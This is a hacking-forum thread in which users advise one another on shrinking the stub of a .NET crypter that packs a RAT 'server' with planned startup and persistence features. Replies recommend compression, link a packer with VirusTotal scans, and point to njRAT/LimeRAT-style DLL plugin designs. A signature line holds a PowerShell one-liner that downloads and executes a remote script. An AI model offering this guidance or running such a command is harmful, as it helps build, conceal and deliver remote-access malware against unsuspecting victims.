Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Reduce Stub Size

Is there any way / code for a crypter to minimize the Output file / compress it or somehing like that?
Or are there any possibilities to reduce the Stub size?
(Dec 16, 2018 07:36 AM)Alx0 Wrote:  Is there any way / code for a crypter to minimize the Output file / compress it or somehing like that?
Or are there any possibilities to reduce the Stub size?

How large is the stub your producing and what dependencies are you using?
[Image: DreddSig.gif]
Here's a simple zip-based packer if that's all you need https://my.mixtape.moe/jzvhvu.zip merry christmas
VirusTotal scans:
Archive: https://www.virustotal.com/#/file-analys...NDk3ODU0MA==
Binary: https://www.virustotal.com/#/file/68a978.../detection

If you're trying to implement this in your code, just use GZipStream or like I did; ZipArchive
[Image: Syr3DlV.png]
(Dec 16, 2018 09:33 AM)Dredd Wrote:  How large is the stub your producing and what dependencies are you using?

My Stub is 16KB ( i know not much)
But my Server is about 400KB so i want to compress this size with the stub in it to e.g 50KBytes or something like that. At the moment the stub is only the decryption function (rc4) but soon there will be many functions (startup, Persistence...) and the stub will be much larger...
You can just use a plugin system instead of putting all the functions together in 1 assembly.
(Dec 16, 2018 10:52 AM)NYANxCAT Wrote:  You can just use a plugin system instead of putting all the functions together in 1 assembly.

What do you mean with a plugin system?
Using a DLL as a plugin, same as njRAT, Revenge-RAT and LimeRAT.

Example, a plugin to restart and update client
https://github.com/NYAN-x-CAT/Lime-RAT/t...lugins/PCL
(Dec 16, 2018 01:52 PM)Alx0 Wrote:  What do you mean with a plugin system?

If you’re going to go down the path of a plugin system to stage your payload, I would highly recommend not reading anything produced by NYAN-x-CAT as their code is unreadable/has zero flow, utilizes bad practices, and is unoptimized. I’d suggest taking a look into using the command pattern along with a proxy pattern for your plugins, it’s not a simple solution and can be a bit complex. There’s plenty of examples online for VB.NET and C#, I’m not going to spoon feed them to you, but here’s a few wiki articles on the concepts.
https://en.wikipedia.org/wiki/Command_pattern
https://en.wikipedia.org/wiki/Proxy_pattern
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by altanaMar 3, 2022 04:54 AM 28 1,110 Mar 3, 2022 04:54 AM
Last Post: goodrabbit
[C] by helloworld112Jul 11, 2020 02:40 AM 1 151 Jul 11, 2020 02:40 AM
Last Post: greasyAlessandra
[C] by SIM-3149568May 9, 2020 09:20 AM 3 171 May 9, 2020 09:20 AM
Last Post: 0xDEAD10CC